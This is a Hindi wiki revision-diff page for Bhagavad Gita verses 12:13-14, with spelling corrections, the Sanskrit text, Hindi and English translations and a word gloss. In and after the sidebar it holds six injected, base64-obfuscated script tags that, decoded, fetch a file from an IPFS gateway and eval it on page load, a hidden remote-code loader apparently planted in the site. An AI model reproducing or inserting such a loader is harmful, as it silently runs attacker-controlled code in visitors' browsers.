"गीता 12:13-14" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - 'पुरूष' to 'पुरुष')
छो (Text replace - 'करूण' to 'करुण')
 
(२ सदस्यों द्वारा किये गये बीच के ३ अवतरण नहीं दर्शाए गए)
पंक्ति १२: पंक्ति १२:
 
----
 
----
 
<div align="center">
 
<div align="center">
'''अद्वेष्टा सर्वभूतानां मैत्र: करूण एव च ।'''<br/>
+
'''अद्वेष्टा सर्वभूतानां मैत्र: करुण एव च ।'''<br/>
 
'''निर्ममो निरहंकार: समदु:खसुख: क्षमी ।।13।।'''<br/>
 
'''निर्ममो निरहंकार: समदु:खसुख: क्षमी ।।13।।'''<br/>
 
'''संतुष्ट: सततं योगी यतात्मा दृढ़निश्चय: ।'''<br/>
 
'''संतुष्ट: सततं योगी यतात्मा दृढ़निश्चय: ।'''<br/>
पंक्ति ३६: पंक्ति ३६:
 
|-
 
|-
 
| style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" |
 
| style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" |
सर्वभूतानाम् = सब भूतोंमें; अद्वेष्टा = द्वेषभावसे रहित(एवं); मैत्र: = स्वार्थरहित सबका प्रेमी; च = और; करूण: = हेतुरहित दयालु है(तथा);  निर्मम: = ममता से रहित(एवं); निरहंकार: = अहंकारसे रहित; समदु:खसुख: = सुख दु:खोंकी प्राप्ति में सम(और); क्षमी = क्षमावान् है अर्थात् अपराध करनेवाले को भी अभय देनेवाला है; य: = जो; योगी = ध्यानयोग में युक्त हुआ; सततम् = निरन्तर; संतुष्ट: = लाभ हानि में संतुष्ट है(तथा);  यतात्मा = मन और इन्द्रियोंसहित शरीर को वश में किये हुए; दृढनिश्चय: = मेरे में दृढ़ निश्चयवाला है; स: = वह; मयि = मेरेमें; अर्पितमनोबुद्धि = अर्पण किये हुए मन बुद्धिवाला; मभ्दक्तय = मेरा भक्त; प्रिय: = प्रिय है  
+
सर्वभूतानाम् = सब भूतोंमें; अद्वेष्टा = द्वेषभावसे रहित(एवं); मैत्र: = स्वार्थरहित सबका प्रेमी; च = और; करुण: = हेतुरहित दयालु है(तथा);  निर्मम: = ममता से रहित(एवं); निरहंकार: = अहंकारसे रहित; समदु:खसुख: = सुख दु:खोंकी प्राप्ति में सम(और); क्षमी = क्षमावान् है अर्थात् अपराध करनेवाले को भी अभय देनेवाला है; य: = जो; योगी = ध्यानयोग में युक्त हुआ; सततम् = निरन्तर; संतुष्ट: = लाभ हानि में संतुष्ट है(तथा);  यतात्मा = मन और इन्द्रियोंसहित शरीर को वश में किये हुए; दृढनिश्चय: = मेरे में दृढ़ निश्चयवाला है; स: = वह; मयि = मेरेमें; अर्पितमनोबुद्धि = अर्पण किये हुए मन बुद्धिवाला; मभ्दक्तय = मेरा भक्त; प्रिय: = प्रिय है  
 
|-
 
|-
 
|}
 
|}
पंक्ति ५६: पंक्ति ५६:
 
<td>
 
<td>
 
{{गीता अध्याय}}
 
{{गीता अध्याय}}
 +
</td>
 +
</tr>
 +
<tr>
 +
<td>
 +
{{गीता2}}
 +
</td>
 +
</tr>
 +
<tr>
 +
<td>
 +
{{महाभारत}}
 
</td>
 
</td>
 
</tr>
 
</tr>
 
</table>
 
</table>
[[category:गीता]]
+
[[Category:गीता]]
 
__INDEX__
 
__INDEX__

०३:१४, ७ अप्रैल २०१० के समय का अवतरण

गीता अध्याय-12 श्लोक-13, 14 / Gita Chapter-12 Verse-13, 14

प्रसंग-


उपर्युक्त श्लोकों में भगवान् की प्राप्ति के लिये भक्ति के अंगभूत अलग-अलग साधन बतलाकर उनका फल परमेश्वर की प्राप्ति बतलाया गया, अतएव भगवान् को प्राप्त हुए प्रेमी भक्तो के लक्षण जानने की इच्छा होने पर अब सात श्लोकों में भगवत्प्राप्त ज्ञानी भक्तों के लक्षण बतलाये जाते हैं


अद्वेष्टा सर्वभूतानां मैत्र: करुण एव च ।
निर्ममो निरहंकार: समदु:खसुख: क्षमी ।।13।।
संतुष्ट: सततं योगी यतात्मा दृढ़निश्चय: ।
मय्यार्पितमनोबुद्धियों मद्भक्त: स मे प्रिय: ।।14।।



जो पुरुष सब भूतों में द्वेषभाव से रहित, स्वार्थरहित, सबका प्रेमी और हेतु रहित दयालु है तथा ममता से रहित, अहंकार से रहित, सुख-दुखों की प्राप्ति में सम और क्षमावान् है अर्थात् उपराध करने वाले को भी अभय देने वाला है; तथा जो योगी निरन्तर संतुष्ट है, मन-इन्द्रियों सहित शरीर को वश में किये हुए है और मुझमें दृढ़ निश्चय वाला है- वह मुझमें अर्पण किये हुए मन-बुद्धि निश्चय वाला मेरा भक्त मुझको प्रिय है ।।13-14।।

He who is free from malice towards all beings, friendly and compassionate, rid of ‘I’ and ‘mine’ , balanced in joy and sorrow, forgiving by nature, ever-contented and mentally united with me, nay, who has subdued his mind, senses and body, has a firm resolve, and has surrendered his mind and reason to me, that devotee of mine is dear to me. (13,14)


सर्वभूतानाम् = सब भूतोंमें; अद्वेष्टा = द्वेषभावसे रहित(एवं); मैत्र: = स्वार्थरहित सबका प्रेमी; च = और; करुण: = हेतुरहित दयालु है(तथा); निर्मम: = ममता से रहित(एवं); निरहंकार: = अहंकारसे रहित; समदु:खसुख: = सुख दु:खोंकी प्राप्ति में सम(और); क्षमी = क्षमावान् है अर्थात् अपराध करनेवाले को भी अभय देनेवाला है; य: = जो; योगी = ध्यानयोग में युक्त हुआ; सततम् = निरन्तर; संतुष्ट: = लाभ हानि में संतुष्ट है(तथा); यतात्मा = मन और इन्द्रियोंसहित शरीर को वश में किये हुए; दृढनिश्चय: = मेरे में दृढ़ निश्चयवाला है; स: = वह; मयि = मेरेमें; अर्पितमनोबुद्धि = अर्पण किये हुए मन बुद्धिवाला; मभ्दक्तय = मेरा भक्त; प्रिय: = प्रिय है



अध्याय बारह श्लोक संख्या
Verses- Chapter-12

1 | 2 | 3,4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13, 14 | 15 | 16 | 17 | 18 | 19 | 20

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • गीता अध्याय-Gita Chapters
    • गीता 1:1|अध्याय [1] Chapter
    • गीता 2:1|अध्याय [2] Chapter
    • गीता 3:1|अध्याय [3] Chapter
    • गीता 4:1|अध्याय [4] Chapter
    • गीता 5:1|अध्याय [5] Chapter
    • गीता 6:1|अध्याय [6] Chapter
    • गीता 7:1|अध्याय [7] Chapter
    • गीता 8:1|अध्याय [8] Chapter
    • गीता 9:1|अध्याय [9] Chapter
    • गीता 10:1|अध्याय [10] Chapter
    • गीता 11:1|अध्याय [11] Chapter
    • गीता 12:1|अध्याय [12] Chapter
    • गीता 13:1|अध्याय [13] Chapter
    • गीता 14:1|अध्याय [14] Chapter
    • गीता 15:1|अध्याय [15] Chapter
    • गीता 16:1|अध्याय [16] Chapter
    • गीता 17:1|अध्याय [17] Chapter
    • गीता 18:1|अध्याय [18] Chapter

</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>